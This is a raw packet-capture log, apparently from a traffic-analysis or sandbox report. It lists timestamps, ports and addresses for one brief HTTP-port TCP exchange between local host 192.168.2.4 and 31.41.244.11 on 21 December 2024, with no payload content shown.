Dec 21, 2024 10:15:11.443445921 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.443697929 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.443751097 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.444835901 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.444894075 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.444978952 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.445034027 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.446459055 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.446495056 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.446517944 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.446547031 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.447882891 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.447954893 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.557459116 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.557533026 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.557615995 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.557672024 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.558067083 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.558136940 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.558224916 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.558280945 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.558600903 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.558636904 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.558670044 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.558706999 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.559937000 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.559993982 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.561057091 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.561114073 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.562243938 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.562295914 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.562386990 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.562443972 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.562947989 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.562983990 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.563004017 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.563052893 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.563052893 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.563693047 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.563752890 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.563847065 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.563899040 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.564840078 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.564901114 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.564987898 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.565047026 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.565874100 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.565936089 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.566042900 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.566096067 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.567095041 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.567131042 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.567157984 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.567190886 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.568207026 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.568243027 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.568265915 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.568298101 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.568958998 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.568994045 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.569015980 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.569051981 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.569482088 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.569538116 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.569709063 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.569777012 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.570410967 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.570467949 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.570650101 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.570708036 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.571985960 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.572021961 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.572040081 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.572066069 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.572854996 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.572889090 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.572911978 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.572941065 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.573781967 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.573817968 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.573849916 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.573879957 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.574727058 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.574784040 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.574909925 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.574965954 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.575823069 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.575859070 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.575881004 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.575911045 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.576742887 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.576805115 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.576878071 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.576931000 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.578068972 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.578135967 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.578210115 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.578267097 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.578939915 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.578993082 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.579082966 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.579135895 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.579988956 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.580046892 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.580281019 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.580332994 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.581119061 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.581172943 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.581259012 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.581312895 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.582017899 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.582086086 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.582207918 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.582259893 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.583287001 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.583352089 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.583440065 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.583491087 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.584317923 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.584374905 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.584513903 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.584568024 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.585351944 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.585411072 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.585495949 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.585550070 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.586285114 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.586342096 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.586478949 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.586533070 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.587419033 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.587491035 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.587579966 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.587630987 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.588536024 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.588572025 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.588622093 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.588622093 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.589668989 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.589749098 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.589822054 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.589924097 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.590531111 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.590584040 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.590661049 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.590709925 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.591730118 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.591764927 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.591783047 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.591813087 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.592720032 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.592767000 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.592854023 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.592905045 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.593667984 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.593719959 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.593959093 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.594022036 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.594928980 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.594978094 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.595072985 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.595124006 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.595838070 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.595886946 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.595958948 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.596009016 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.596930027 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.596980095 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.597018003 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.597062111 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.598067045 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.598102093 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.598125935 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.598153114 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.599070072 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.599119902 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.599170923 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.599220991 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.600095034 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.600162029 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.600248098 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.600298882 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.601341963 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.601394892 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.601515055 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.601567984 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.602175951 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.602226973 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.602229118 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.602277994 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.603198051 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.603249073 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.603339911 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.603391886 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.604348898 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.604382992 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.604401112 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.604428053 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.606415033 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.606463909 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.606551886 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.606604099 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.606863022 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.606898069 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.606914043 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.606944084 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.607379913 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.607424021 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.607496977 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.607547045 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.608575106 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.608630896 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.608702898 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.608755112 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.609608889 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.609658003 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.609699011 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.609749079 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.610708952 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.610743999 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.610774994 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.610806942 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.611735106 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.611769915 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.611787081 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.611816883 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.612724066 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.612775087 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.748688936 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.748794079 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.748842001 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.749088049 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.749195099 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.749257088 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.749330044 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.749387980 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.750209093 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.750262022 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.750391960 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.750451088 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.751302958 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.751357079 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.751382113 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.751437902 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.752311945 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.752370119 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.752499104 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.752554893 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.753381968 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.753503084 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.753532887 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.753585100 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.754489899 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.754554987 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.754573107 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.754627943 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.755496025 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.755558968 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.755626917 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.755692959 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.756542921 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.756598949 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.756685972 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.756741047 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.757638931 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.757697105 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.757729053 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.757782936 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.758699894 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.758757114 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.758773088 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.758827925 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.759748936 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.759809017 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.759895086 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.759951115 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.760823965 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.760879993 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.760905027 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.760962009 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.761868954 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.761925936 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.762011051 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.762069941 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.762953997 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.763009071 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.763097048 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.763148069 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.764045000 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.764107943 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.764509916 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.764578104 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.765042067 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.765094042 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.765191078 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.765247107 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.766084909 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.766139984 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.766294956 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.766350985 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.767152071 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.767210007 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.767256021 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.767326117 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.768183947 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.768239021 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.768277884 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.768332958 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.769273996 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.769328117 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.769383907 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.769443035 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.770270109 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.770328999 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.770477057 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.770535946 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.771384954 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.771442890 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.771483898 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.771542072 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.772358894 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.772414923 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.772516012 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.772579908 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.773490906 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.773547888 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.773562908 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.773668051 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.774580956 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.774637938 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.774677038 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.774728060 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.775645018 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.775698900 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.775702953 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.775751114 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.776670933 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.776729107 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:11.776787996 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:11.776843071 CET	49765	80	192.168.2.4	31.41.244.11
